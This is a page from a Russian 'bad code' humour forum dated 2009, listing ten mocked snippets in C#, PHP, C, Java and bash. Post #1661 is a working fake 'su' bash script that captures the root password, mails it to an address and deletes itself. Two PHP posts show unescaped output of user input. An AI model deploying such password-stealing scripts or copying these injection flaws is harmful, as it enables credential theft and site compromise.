1. C# / Говнокод #1662

    +126.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    else
    																		{
    																			if ((index == 103))
    																			{//bla
    																			}
    																			else
    																			{
    																				if ((index == 104))
    																				{//bla
    																				}
    																			}
    																		}
    																	}
    																}
    															}
    														}
    													}
    												}
    											}
    										}
    									}
    								}
    							}
    						}
    					}
    				}
    			}
    		}
    	}
    }                                                                                                                                                                                                                                                                                                                                                        } }}}}}}}}}}}}}}}}}}}}}}}}}

    Конец однородного файла (В моем маленьком случае 300Kb) сгенерированным Microsoft EdmGen.

    62316e, 24 Августа 2009

    Комментарии (7)
  2. Куча / Говнокод #1661

    +76.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    #/usr/local/bin/bash
    
    # False SU utility
    
    # mail to send passwd
    mail="[email protected]"
    # go
    echo -n "Password:"
    read -s passwd
    echo ""
    echo "su: Sorry"
    
    echo "root password from `hostname`: $passwd" | mail -s "Fuck the system" $mail
    
    # вернем все на место
    alias su=su
    #самоуничтожение
    rm $0

    Фейковый su )))

    Darwin, 23 Августа 2009

    Комментарии (10)
  3. PHP / Говнокод #1660

    +152.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    <html><body>
    <?php
    	if (isset($_POST['regg'])){
    ?>
    <form method="post" action="2.php">
    name
    <input type='text' name='name' />
    <input type='submit' name='regg' value='otpr' />
    </form>
    <?php
    	} else {
    echo $_POST['name'];
    }
    ?>
    </body></html>

    Tex, 22 Августа 2009

    Комментарии (13)
  4. Си / Говнокод #1659

    +136.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    #define CHAINFREE_STATIC_DAT(a, field) {\
        ptr=(typeof(ptr))&(a);\
        if(((typeof(&(a)))(ptr))->field)\
            free(((typeof(&(a)))(ptr))->field);\
        ptr=(typeof(ptr))(((typeof(&a))(ptr))->next);\
        if(ptr) {\
            while(((typeof(&(a)))(ptr))->next) {\
                if(((typeof(&(a)))(ptr))->field)\
                    free(((typeof(&(a)))(ptr))->field);\
                ptr=(typeof(ptr))(((typeof(&a))(ptr))->next);\
                free(((typeof(&(a)))(ptr))->prev);\
            }\
            if(((typeof(&(a)))(ptr))->field)\
                free(((typeof(&(a)))(ptr))->field);\
            free(ptr);\
        }\
        memset(&(a), 0, sizeof(a));\
    }

    Кол-во скобок радует :)

    xaionaro, 22 Августа 2009

    Комментарии (13)
  5. PHP / Говнокод #1658

    +156

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    /**
         * Set flag indicating whether or not request has been dispatched
         *
         * @param boolean $flag
         * @return Zend_Controller_Request_Abstract
         */
        public function setDispatched($flag = true)
        {
            $this->_dispatched = $flag ? true : false;
            return $this;
        }

    вот такую штуку сегодня увидел

    getme, 22 Августа 2009

    Комментарии (17)
  6. PHP / Говнокод #1657

    +153.9

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    $basket=array('fk_user'=>$_SESSION['user']['pk_user'],
    						'fk_album'=>$pk_album,
    						'fk_song'=>$song['pk_song'],
    						'date'=>$time,
    						'title'=>str_replace('"', '\"', $album['title'].' - '.$song['name']),
    						'symlink'=>$r1[$k],
    						'filesize'=>$song['filesize'],
    						'track'=>$song['track'],
    						);

    Очень правильный эскейп

    TWINc, 21 Августа 2009

    Комментарии (3)
  7. Java / Говнокод #1656

    +76

    1. 1
    2. 2
    3. 3
    if(!doc.getElementsByTagName(TAG_NAME).equals(null)){
    ///...
    }

    dimmik, 21 Августа 2009

    Комментарии (3)
  8. PHP / Говнокод #1655

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <title>БД</title>
    <link rel="stylesheet" type="text/css" href="/adminini/design20f.css">
    </head>
    
    <body>
    <?php
    
    switch ($curr_page_des)
    {
    
      //
      // авторизация
    
      case 'login':
    
    ?>
    <?php print $content ?>
    
    <?php
    
      break;
    
      //
      // список разделов
    
      case 'sections':
    
    ?>
    <?php print $content ?>
    
    <?php
    
      break;
    
    }
    
    ?>
    </body>
    </html>

    Код не мой... надеюсь правила не запрещают..
    Фаил для вывода контента..
    design.php

    doremidon, 21 Августа 2009

    Комментарии (3)
  9. C# / Говнокод #1654

    +129

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    private string              fEmail;
    ...
    public string Email  
    { 
        get {return fEmail = fEmail != null ? fEmail: string.Empty;}
        set {fEmail=value;}
    }

    чтобы проверить на нулл переменную fEmail, ее нужно зачем то присвоить самой же себе, долго вкуривал, но менять не стал. Наверное это заморочки с энхибернэйт

    З.Ы. версия фреймворка для которого было написано это чудо 1.1

    jackman, 21 Августа 2009

    Комментарии (15)
  10. PHP / Говнокод #1653

    +156

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    <?
    define ("PROXY_HOST", "10.4.4.4");
    define ("PROXY_PORT", 3128);
    define ("POP3_HOST", "pop3.yandex.ru");
    define ("POP3_PORT", 110);
    define ("POP3_USER","-------");
    define ("POP3_PASSWORD","---------");
    global $Ipc_Device;
    /**
     * Trying to create process...
     **/
     	module_start();
    $Dev_Data = null;
    function device_ready (&$device, &$dd)
    {
    	if ( $dd==null )
    	{
    		syslog ( "hell_php_client: Device IS READY." ); //Девица готова:)
    		return true;
    	}else{
    		syslog ( "hell_php_client: Device NOT READY." ); //Девица не готова:)
    		return false;
    	}
    }
    function device_write ($data )
    {
    
    	if ( !dio_write ( $GLOBALS["Ipc_Device"], $data, strlen ( $data )))
    	{
    		syslog (1, "hell_php_client: Unable to write to device");
    		exit(-1);
    	}
    
    }
    function register_device ()
    {
    
    //Trying to create IPC Device IF NOT EXISTS
    
    $Device_Name = "/dev/mail";
    $IPC_DEVICE = null;
    
    	if ( file_exists ($Device_Name) )
    	{
    		syslog ( 1, " Device already created." );
    	}else{
    
    $IPC_DEVICE = posix_mknod ( $Device_Name, POSIX_S_IFIFO);
    	if ( !$IPC_DEVICE )
    	{
    	syslog (1, "hell_php_client: Can't create device. Unknown problem.");	
    	exit (1);
    		
    	}
    syslog (1, "hell_php_client: Device $Device_Name created.");
    
    }
    $dev = dio_open ($Device_Name, O_RDWR);
    $GLOBALS["Ipc_Device"] = $dev;
    return $dev;
    
    }
    
    function device_read($r)
    {
    return dio_read ($GLOBALS["Ipc_Device"], $r);
    }
    
    function device_close ( )
    {
    	dio_close ( $GLOBALS["Ipc_Device"]);
    }
    
    
    
    
    
    /**
     * CHAPTER 2: Networking. :))
     * Connecting to mailserver
     **/
    
    //И еще куча кода с сокетами

    Сие творение я написал прошлой ночью в нетрезвом состоянии.
    Это - устройство сбора почты. Да, именно устройство. И оно работает. Но, блин, я теперь не могу разобраться КАК именно?
    Там около 800 строк кода с сокетами, вызовами read/write/lock и даже fcntl!

    notrade, 21 Августа 2009

    Комментарии (1)